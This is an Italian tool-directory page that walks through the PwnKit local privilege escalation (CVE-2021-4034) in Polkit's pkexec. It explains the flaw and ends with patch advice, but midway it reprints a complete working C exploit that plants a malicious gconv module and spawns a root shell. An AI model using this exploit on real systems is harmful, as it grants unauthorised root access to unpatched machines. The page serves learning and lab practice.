Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-4034 — Vulnerabilità di escalation locale dei privilegi (LPE) in Polkit - Pwnkit | Kitploit
Strumenti/GitHubGitHub/lucaspdiniz/cve-2021-4034
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHublucaspdiniz/cve-2021-4034

CVE-2021-4034

Vulnerabilità di escalation locale dei privilegi (LPE) in Polkit - Pwnkit

Vedi Repository
132 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Pwnkit Vulnerability - CVE-2021-4034 📗

Introduzione

Scoperta nel 2021 ma annunciata e divulgata a gennaio 2022, CVE-2021-4034 è stata affettuosamente chiamata Pwnkit; tuttavia, è presente in tutte le versioni del pacchetto Policy Toolkit - Polkit praticamente in tutte le distribuzioni Linux. In breve, questa vulnerabilità consente a qualsiasi attaccante non privilegiato di elevare verticalmente il proprio accesso ad amministratore del sistema.

[!IMPORTANT] Possiamo trovare questa vulnerabilità in pkexec versione 0.105 o precedente.

Anche se si tratta di una CVE altamente critica, classificata con un punteggio CVSS di 7.8 punti secondo NIST.GOV, viene sfruttata solo localmente, cioè non è possibile sfruttarla da remoto (accesso Web).

Cos'è Polkit ❓

Polkit funge da sistema di autorizzazione per Linux. Quando hai un utente con pochi privilegi che deve eseguire un'attività che richiede privilegi elevati (ad esempio l'amministratore), polkit verifica se il tuo utente dispone dell'autorizzazione necessaria.

Ad esempio, con l'utilità PKexec, possiamo chiamare la funzione polkit, che controlla il permesso e chiede la password se non ce l'ha. Come nell'esempio seguente;

Spiegazione dello Sfruttamento ⚠️

Come mostrato sopra, la vulnerabilità Pwnkit è presente in PKexec (nel processo di controllo dei permessi); per questa vulnerabilità, non c'è sicurezza nella gestione dei parametri quando PKexec viene eseguito da riga di comando (CLI), consentendo all'invasore di manipolare l'ambiente e si verifica un difetto chiamato "Out-of-Bounds Write".

PKexec tenta di analizzare qualsiasi argomento da riga di comando che gli passiamo usando un ciclo for, partendo da un indice di 1 per compensare il nome del programma e ottenere il primo argomento reale. Il nome del programma è irrilevante per l'analisi degli argomenti, quindi l'indicizzazione viene semplicemente compensata per ignorarlo.

Quindi, se non definiamo alcun argomento, l'indice viene automaticamente impostato a 1.

Creiamo un esempio qui sotto.

root@kitploit:~
for(n=1; n < number_of_arguments; n++){
}

Se il numero di argomenti è 0, allora 'N' non è mai minore del numero di argomenti. Di conseguenza, 'N' rimane uguale a uno e il ciclo viene completamente bypassato , il ciclo non verrà eseguito.

Poiché non ci sono argomenti da riga di comando, non c'è alcun argomento all'indice n — invece il programma sovrascrive l'elemento successivo in memoria, che casualmente è il primo valore della lista delle variabili d'ambiente quando il programma viene chiamato usando una funzione C chiamata execve(). In altre parole, passando a PKexec una lista nulla di argomenti, possiamo costringerlo a sovrascrivere un ambiente.

Esploriamo !!! ✏️

Ci sono diversi modi e vari script su internet che sfruttano facilmente questa vulnerabilità. Per risparmiare tempo, useremo uno script creato in C che sfrutta questa vulnerabilità dal repository del nostro amico Arthepsy.

Questo script esplora la variabile GCONV_PATH per includere un oggetto condiviso che chiama /bin/sh come root.

Arthepsy - CVE-2021-4034 - exploit.c

Prima di eseguire lo script, controlleremo il tuo accesso all'host vulnerabile.

Abbiamo un utente 1000 (non root) e non possiamo eseguire funzioni da amministratore, come Useradd.

  • Bruciamo 🔥

Abbiamo ottenuto l'accesso all'utente root e siamo riusciti a eseguire alcune funzioni come Useradd (l'errore si riferisce a un altro problema, ma siamo riusciti a eseguire il processo come root).

Fatto ✔️

Ancora un Po' di Analisi 💡

Per concludere questa esplorazione, possiamo dare rapidamente un'occhiata allo script exploit qui sotto;

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";

int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

Fondamentalmente sfrutta gli argomenti di PKexec precedentemente discussi e riscrive la variabile d'ambiente GCONV_PATH con /bin/sh impostando stuid(0) (root).

Patch ✅

Esistono già versioni corrette disponibili nel pacchetto del sistema operativo; eseguendo semplicemente i comandi sudo apt update && sudo apt upgrade, è già possibile correggere questo problema sul tuo sistema.

Scarica lo strumento